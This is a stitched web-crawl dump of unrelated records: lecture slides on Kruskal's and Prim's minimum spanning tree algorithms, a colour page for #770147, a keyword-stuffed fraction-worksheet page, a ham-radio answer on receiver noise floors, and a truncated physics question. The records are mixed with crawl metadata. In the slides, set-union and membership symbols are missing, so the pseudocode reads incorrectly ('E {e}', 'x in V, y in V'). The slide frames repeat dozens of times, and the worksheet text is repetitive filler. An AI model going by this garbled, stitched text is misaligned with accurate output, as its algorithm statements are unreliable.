Spanning Tree. n Definition: A weighted graph is a graph where each edge has a number associated with it. G = (V,E), E Z x { {x,y} | x,y V} n The total weight of the graph is the sum of all the weights of the edges in the graph. n A minimum spanning tree (MST) for a weighted graph is a spanning tree that has the least possible total weight compared to all other spanning trees for the graph\n\n3.4 Minimum Spanning Tree. n How to find the minimum spanning tree? –Kruskals Algorithm –Prims Algorithm\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. Idea: To add edges of the smallest weights which do not cause a circuit.\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 m=0 |V|-1 = 12\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 m=1 |V|-1 = 12\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 m=2 |V|-1 = 12\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 m=3 |V|-1 = 12\n\n3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 m=4 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 8 10 6 12 m=7 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 8 10 6 12 m=8 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 8 10 6 12 m=9 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 8 10 6 12 m=10 |V|-1 = 12 CIRCUIT!!!\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 2 6 6 8 10 6 12 m=10 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 2 6 6 8 10 6 12 m=11 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 2 6 6 8 10 6 12 m=12 |V|-1 = 12\n\n3 3.5 MST: Kruskals Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), E={}, m=0 n 3. while (m < |V| - 1) { –a. Find edge e in E of least weight. –b. E = E - {e} –c. If E {e} does not produce circuit E = E {e} m = m + 1 } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 m=12 |V|-1 = 12 Algorithm Halts. Cost = 39\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. Idea: To grow a spanning tree.\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 |V| = 12 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 |V| = 12 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 |V| = 11 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 |V| = 11 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 12 |V| = 10 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 |V| = 9 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 |V| = 8 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 |V| = 7 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 4 2 6 6 3 8 10 6 |V| = 6 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 6 6 3 8 10 6 |V| = 5 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 6 6 3 8 10 |V| = 4 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 6 6 3 8 10 |V| = 3 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 6 6 3 10 |V| = 2 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 6 6 3 |V| = 1 > 0\n\n3.6 MST: Prims Algorithm n 1. Input: G=(V,E) n 2. Let T=(V,E), V={v}, E={}, m=0, V=V-{v} n 3. while (|V| > 0) { –a. Find an edge e such that e = {x,y}, x in V, y in V. e connects T to some vertex in V. e has least weight of all edges connecting T to a vertex in V. –b. V=V {y}, E = E {e}, V = V - {y} } n 4. Output T. A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 3 |V| = 0 Algorithm Halts. Cost = 39\n\nDifferent output possible 3 A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 A GH BCD I J K F L E M 5 5 2 2 2 3 3 4 4 4 2 3 Kruskals Algorithm Prims Algorithm Cost of Tree = 39"
]
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https://www.colorhexa.com/770147 | [
"# #770147 Color Information\n\nIn a RGB color space, hex #770147 is composed of 46.7% red, 0.4% green and 27.8% blue. Whereas in a CMYK color space, it is composed of 0% cyan, 99.2% magenta, 40.3% yellow and 53.3% black. It has a hue angle of 324.4 degrees, a saturation of 98.3% and a lightness of 23.5%. #770147 color hex could be obtained by blending #ee028e with #000000. Closest websafe color is: #660033.\n\n• R 47\n• G 0\n• B 28\nRGB color chart\n• C 0\n• M 99\n• Y 40\n• K 53\nCMYK color chart\n\n#770147 color description : Dark pink.\n\n# #770147 Color Conversion\n\nThe hexadecimal color #770147 has RGB values of R:119, G:1, B:71 and CMYK values of C:0, M:0.99, Y:0.4, K:0.53. Its decimal value is 7799111.\n\nHex triplet RGB Decimal 770147 `#770147` 119, 1, 71 `rgb(119,1,71)` 46.7, 0.4, 27.8 `rgb(46.7%,0.4%,27.8%)` 0, 99, 40, 53 324.4°, 98.3, 23.5 `hsl(324.4,98.3%,23.5%)` 324.4°, 99.2, 46.7 660033 `#660033`\nCIE-LAB 24.951, 49.309, -6.951 8.756, 4.4, 6.349 0.449, 0.226, 4.4 24.951, 49.796, 351.976 24.951, 56.948, -14.982 20.975, 37.81, -3.264 01110111, 00000001, 01000111\n\n# Color Schemes with #770147\n\n• #770147\n``#770147` `rgb(119,1,71)``\n• #017731\n``#017731` `rgb(1,119,49)``\nComplementary Color\n• #6c0177\n``#6c0177` `rgb(108,1,119)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #77010c\n``#77010c` `rgb(119,1,12)``\nAnalogous Color\n• #01776c\n``#01776c` `rgb(1,119,108)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #0c7701\n``#0c7701` `rgb(12,119,1)``\nSplit Complementary Color\n• #014777\n``#014777` `rgb(1,71,119)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #477701\n``#477701` `rgb(71,119,1)``\n• #310177\n``#310177` `rgb(49,1,119)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #477701\n``#477701` `rgb(71,119,1)``\n• #017731\n``#017731` `rgb(1,119,49)``\n• #2b001a\n``#2b001a` `rgb(43,0,26)``\n• #440129\n``#440129` `rgb(68,1,41)``\n• #5e0138\n``#5e0138` `rgb(94,1,56)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #900156\n``#900156` `rgb(144,1,86)``\n• #aa0165\n``#aa0165` `rgb(170,1,101)``\n• #c30274\n``#c30274` `rgb(195,2,116)``\nMonochromatic Color\n\n# Alternatives to #770147\n\nBelow, you can see some colors close to #770147. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #770165\n``#770165` `rgb(119,1,101)``\n• #77015b\n``#77015b` `rgb(119,1,91)``\n• #770151\n``#770151` `rgb(119,1,81)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #77013d\n``#77013d` `rgb(119,1,61)``\n• #770133\n``#770133` `rgb(119,1,51)``\n• #770129\n``#770129` `rgb(119,1,41)``\nSimilar Colors\n\n# #770147 Preview\n\nThis text has a font color of #770147.\n\n``<span style=\"color:#770147;\">Text here</span>``\n#770147 background color\n\nThis paragraph has a background color of #770147.\n\n``<p style=\"background-color:#770147;\">Content here</p>``\n#770147 border color\n\nThis element has a border color of #770147.\n\n``<div style=\"border:1px solid #770147;\">Content here</div>``\nCSS codes\n``.text {color:#770147;}``\n``.background {background-color:#770147;}``\n``.border {border:1px solid #770147;}``\n\n# Shades and Tints of #770147\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #020001 is the darkest color, while #ffeef8 is the lightest one.\n\n• #020001\n``#020001` `rgb(2,0,1)``\n• #16000d\n``#16000d` `rgb(22,0,13)``\n• #290019\n``#290019` `rgb(41,0,25)``\n• #3d0124\n``#3d0124` `rgb(61,1,36)``\n• #500130\n``#500130` `rgb(80,1,48)``\n• #64013b\n``#64013b` `rgb(100,1,59)``\n• #770147\n``#770147` `rgb(119,1,71)``\n• #8a0153\n``#8a0153` `rgb(138,1,83)``\n• #9e015e\n``#9e015e` `rgb(158,1,94)``\n• #b1016a\n``#b1016a` `rgb(177,1,106)``\n• #c50275\n``#c50275` `rgb(197,2,117)``\n• #d80281\n``#d80281` `rgb(216,2,129)``\n• #ec028d\n``#ec028d` `rgb(236,2,141)``\n• #fd0498\n``#fd0498` `rgb(253,4,152)``\n• #fd18a0\n``#fd18a0` `rgb(253,24,160)``\n• #fd2ba8\n``#fd2ba8` `rgb(253,43,168)``\n• #fd3fb0\n``#fd3fb0` `rgb(253,63,176)``\n• #fe52b8\n``#fe52b8` `rgb(254,82,184)``\n• #fe66c0\n``#fe66c0` `rgb(254,102,192)``\n• #fe79c8\n``#fe79c8` `rgb(254,121,200)``\n• #fe8dd0\n``#fe8dd0` `rgb(254,141,208)``\n• #fea0d8\n``#fea0d8` `rgb(254,160,216)``\n• #feb3e0\n``#feb3e0` `rgb(254,179,224)``\n• #ffc7e8\n``#ffc7e8` `rgb(255,199,232)``\n• #ffdaf0\n``#ffdaf0` `rgb(255,218,240)``\n• #ffeef8\n``#ffeef8` `rgb(255,238,248)``\nTint Color Variation\n\n# Tones of #770147\n\nA tone is produced by adding gray to any pure hue. In this case, #40383d is the less saturated color, while #770147 is the most saturated one.\n\n• #40383d\n``#40383d` `rgb(64,56,61)``\n• #44343e\n``#44343e` `rgb(68,52,62)``\n• #492f3e\n``#492f3e` `rgb(73,47,62)``\n• #4d2b3f\n``#4d2b3f` `rgb(77,43,63)``\n• #522640\n``#522640` `rgb(82,38,64)``\n• #572141\n``#572141` `rgb(87,33,65)``\n• #5b1d42\n``#5b1d42` `rgb(91,29,66)``\n• #601843\n``#601843` `rgb(96,24,67)``\n• #651344\n``#651344` `rgb(101,19,68)``\n• #690f44\n``#690f44` `rgb(105,15,68)``\n• #6e0a45\n``#6e0a45` `rgb(110,10,69)``\n• #720646\n``#720646` `rgb(114,6,70)``\n• #770147\n``#770147` `rgb(119,1,71)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #770147 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population"
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http://mywcct.com/5th-grade-fraction-worksheets/ | [
"",
null,
"Printables\n\n# 5th Grade Fraction Worksheets\n\nFractions worksheets printable for teachers worksheets. Fractions worksheets printable for teachers worksheets. Fractions worksheets printable for teachers worksheets. Grade 5 addition subtraction of fractions worksheets free adding worksheet. Fractions worksheets printable for teachers worksheets.",
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]
| [
null,
"http://www.math-salamanders.com/image-files/printable-fraction-worksheets-subtracting-fractions-ld-3.gif",
null,
"http://www.math-aids.com/images/equivalent-fractions.png",
null,
"http://www.math-aids.com/images/fractions_visual.png",
null,
"http://www.math-aids.com/images/adding-two-fractions.png",
null,
"http://www.k5learning.com/sites/all/files/worksheets/math/grade-5-adding-fractions-worksheet.gif",
null,
"http://www.math-aids.com/images/reduce-fractions.png",
null,
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null,
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null,
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null,
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null,
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null,
"http://www.math-salamanders.com/image-files/equivalent-fractions-worksheet-1.gif",
null,
"https://cdn.education.com/worksheet-image/475827/greater-comparing-fractions-fifth-grade.gif",
null,
"http://www.k5learning.com/sites/all/files/worksheets/math/grade-5-equivalent-fractions-worksheet.gif",
null,
"http://www.theeducationmonitor.com/images/2014/12/Mixed-Fractions-2.jpg",
null,
"http://www.math-salamanders.com/images/printable-fraction-worksheets-subtracting-fractions-3.gif",
null,
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null,
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.76021075,"math_prob":0.45750624,"size":2535,"snap":"2019-35-2019-39","text_gpt3_token_len":447,"char_repetition_ratio":0.3658633,"word_repetition_ratio":0.2652439,"special_character_ratio":0.14871795,"punctuation_ratio":0.0149700595,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99643207,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,6,null,null,null,null,null,null,null,5,null,null,null,6,null,null,null,null,null,2,null,null,null,8,null,null,null,10,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-21T01:42:12Z\",\"WARC-Record-ID\":\"<urn:uuid:e19f21f9-0060-401e-b7e3-ef175157e16b>\",\"Content-Length\":\"29903\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4241d879-905e-436a-88aa-fcd1361ed13d>\",\"WARC-Concurrent-To\":\"<urn:uuid:7f4806a2-c789-4d98-a823-badcbe18c454>\",\"WARC-IP-Address\":\"104.28.26.55\",\"WARC-Target-URI\":\"http://mywcct.com/5th-grade-fraction-worksheets/\",\"WARC-Payload-Digest\":\"sha1:D3UF3WT2MTOJJBGNLO337YWHJHZFTPWE\",\"WARC-Block-Digest\":\"sha1:IUG7GFLJZMQXNIPO7RHPXVERMJM4V6TR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027315695.36_warc_CC-MAIN-20190821001802-20190821023802-00251.warc.gz\"}"} |
https://ham.stackexchange.com/questions/2213/can-i-improve-reception-with-a-more-sensitive-antenna-preamplifier-better-fe?noredirect=1 | [
"# Can I improve reception with a more sensitive antenna / preamplifier / better feedline?\n\nI am trying to receive a station, but I can only barely hear it through the noise. Will doing anything that increases the signal from my antenna help, such as:\n\n• using a more sensitive antenna\n• installing a shorter or higher quality feedline\n• improving SWR, thus reducing losses\n• AM, FM, SSB, CW, Digital? Can you control receiver band width? What frequency being received? What antenna type? What's the local time you listen? Do you have digital filtering? Any other info may help. – Optionparty Oct 8 '14 at 17:15\n• @Optionparty, I'm aware there are many things I could do to improve reception, in general. The question is if these particular things improve reception. – Phil Frost - W8II Oct 8 '14 at 20:27\n• All your suggestions are good. A directional antenna reduces noise reception from other directions. Preamp can increases S/N ratio. Low SWR really brings up a weak signal. Once signal & noise mix in the first stage of your receiver, they seem inseparable, like to much salt in soup. – Optionparty Oct 9 '14 at 12:20\n• Did you read the answer below, @Optionparty? These things only help under specific circumstances which aren't usually true. If you have comments regarding the answer, I'd love to hear them. – Phil Frost - W8II Oct 9 '14 at 15:18\n\nThese things will significantly help under one condition: the RF noise floor is below the receiver's noise floor. This is almost never the case on HF, where low-noise amplifiers are easy and atmospheric noise is high. On VHF and UHF the natural noise floor is lower, and low-noise receivers are more expensive, so it is possible but not guaranteed. It will depend on the quality of your receiver, and noise in that particular location and frequency. The 2.4 GHz ISM band, for example, is full of man-made noise.\n\nHere's a simple test: compare the noise floor with a dummy load versus an antenna connected. If the noise floor is higher with the antenna connected, then the RF noise floor is higher than the receiver noise floor, and a more sensitive antenna will not significantly help. In this case you need to investigate ways of increasing the signal to noise ratio in other ways, such as by increasing transmitter power or installing directional antennas.\n\nIf we think of the radio's output as the combination of three components:\n\n1. The desired signal, free of any noise\n2. RF noise received by the antenna. This could be atmospheric noise, interfering stations, or noise from electronics, powerlines, etc.\n3. Noise generated internally by the receiver. That is, thermal noise in its resistors, its amplifiers, etc.\n\nWe might think that the radio is contributing noise in all circumstances, and if we can boost the noise and signal from the antenna, then the radio's noise becomes relatively less significant, and SNR is improved. However, when the RF noise floor is above the receiver's noise floor, that improvement will be negligible.\n\nThe reason is that RF noise and the receiver's noise are uncorrelated, like random white noise. As I will demonstrate, even if the RF noise is just a little above the receiver noise, because of the way uncorrelated noise adds, the receiver's noise will make very little contribution to the total noise. As such, there is very little to be gained by reducing the receiver's noise, or equivalently, making the antenna \"louder\".\n\n## Orly? Show Me The Math.\n\n$$P_1 + P_2 = P_\\text{total}$$\n\nBut in this context our noise power is probably specified in dBm. To add these, we must first convert them to plain milliwatts (without the decibel), add, then convert back to dBm:\n\n$$10 \\log_{10}\\left( 10^{P_\\text{1(dBm)}/10} + 10^{P_\\text{2(dBm)}/10} \\right) = P_\\text{total(dBm)}$$\n\nSo for example, if the receiver noise floor is -96 dBm and the RF noise floor is 6 dB above that (-90 dBm), then the total noise floor is effectively:\n\n$$10 \\log_{10}\\left( 10^{-90\\:\\mathrm{dBm}/10} + 10^{-96\\:\\mathrm{dBm}/10} \\right) = -89.03\\:\\mathrm{dBm}$$\n\nSo, the receiver's noise, which was only 6 dB below the RF noise, increased the total noise floor from -90 to -89.03, or by 0.97 dB. Not a terribly big deal.\n\nAn equivalent, and perhaps more intuitive way to think about it is this: uncorrelated noise amplitudes (that is, RMS voltage or current) add like orthogonal vectors:",
null,
"Geometrically, we can see that as the RF noise becomes greater than the receiver noise, the triangle gets increasingly thin, and the total noise isn't much longer than the RF noise.\n\nMathematically, that's:\n\n$$E_\\text{total} = \\sqrt{E_1^2 + E_2^2}$$\n\nAnd we can convert between dBm ($P_\\text{dBm}$) and RMS volts ($E_\\text{RMS}$), assuming a 50Ω impedance, with:\n\n\\begin{align} E_\\text{RMS} &= \\sqrt{ 0.001\\:\\mathrm{W} \\cdot 50 \\:\\Omega \\cdot 10^{P_\\text{dBm}/10} }\\\\ &= \\sqrt{0.05\\:\\mathrm V^2} \\cdot 10^{P_\\text{dBm}/20} \\\\ &\\approx 0.2236\\:\\mathrm V \\cdot 10^{P_\\text{dBm}/20} \\end{align}\n\nand:\n\n\\begin{align} P_\\text{dBm} &= 10 \\log_{10}\\left( E_\\text{RMS}^2 / (0.001\\:\\mathrm W \\cdot 50 \\:\\Omega) \\right)\\\\ &= 20 \\log_{10}(E_\\text{RMS}) - 10 \\log_{10}(0.05\\:\\mathrm V^2) \\\\ &\\approx 20 \\log_{10}(E_\\text{RMS}) + 13.01 \\end{align}\n\nOne might still say that even this small improvement is an improvement, and is worth doing. However, there are two circumstances where that would be a bad idea:\n\nFirstly, if you are increasing your antenna sensitivity by adding a preamplifier, this preamplifier will introduce noise of its own. Unless the preamplifier's noise figure is lower than that of your receiver, or your receiver lacks sufficient gain to bring the RF noise floor above the receiver noise floor, then you are making things worse.\n\nSecondly, increasing the signal+noise from the antenna by any means in many situations decreases dynamic range. This is especially a concern with SDRs that are recently popular, because they have such a wide receive bandwidth. Consider that at some point, this signal in an SDR ends up at an analog to digital converter. Say it's a 16 bit converter. If the noise floor is high (because the antenna is so sensitive), then the least significant of these bits contain nothing but noise, and are essentially wasted. Furthermore, you approach overloading the converter and running into clipping."
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https://physics.stackexchange.com/questions/386966/how-many-particles-are-there-in-the-entire-universe | [
"# How many particles are there in the entire universe? [duplicate]\n\nHow many particles are in the entire (rather than just the observable) universe?\n\nI would guess that if the universe is open, or infinite, then there is a countable infinity of particles. But if the universe is closed, or finite, then there is only a finite number of particles.\n\nIs this correct? Or could a finite universe have a countable infinity of particles or an infinite universe an uncountable infinity of particles.\n\n• I've read that the number of photons depends on the observer, in particular on the observer's acceleration. So maybe the answer would depend on the observer. Feb 17 '18 at 12:51\n• I suppose that's right. But I presume that such effects would not alter whether the answer is finite, countably or uncountably infinite?\n– Ben\nFeb 17 '18 at 12:57\n• Related: physics.stackexchange.com/q/98595/2451 and links therein. Feb 17 '18 at 13:10\n• Possible duplicate of Dumbed-down explanation how scientists know the number of atoms in the universe? Feb 17 '18 at 17:42\n• There is no simultaneity across the whole universe: one can not talk about the entire universe at a given time, like \"now\". So, strictly speaking, there is no number of particles to be associated with such an ill-defined physical system. Feb 18 '18 at 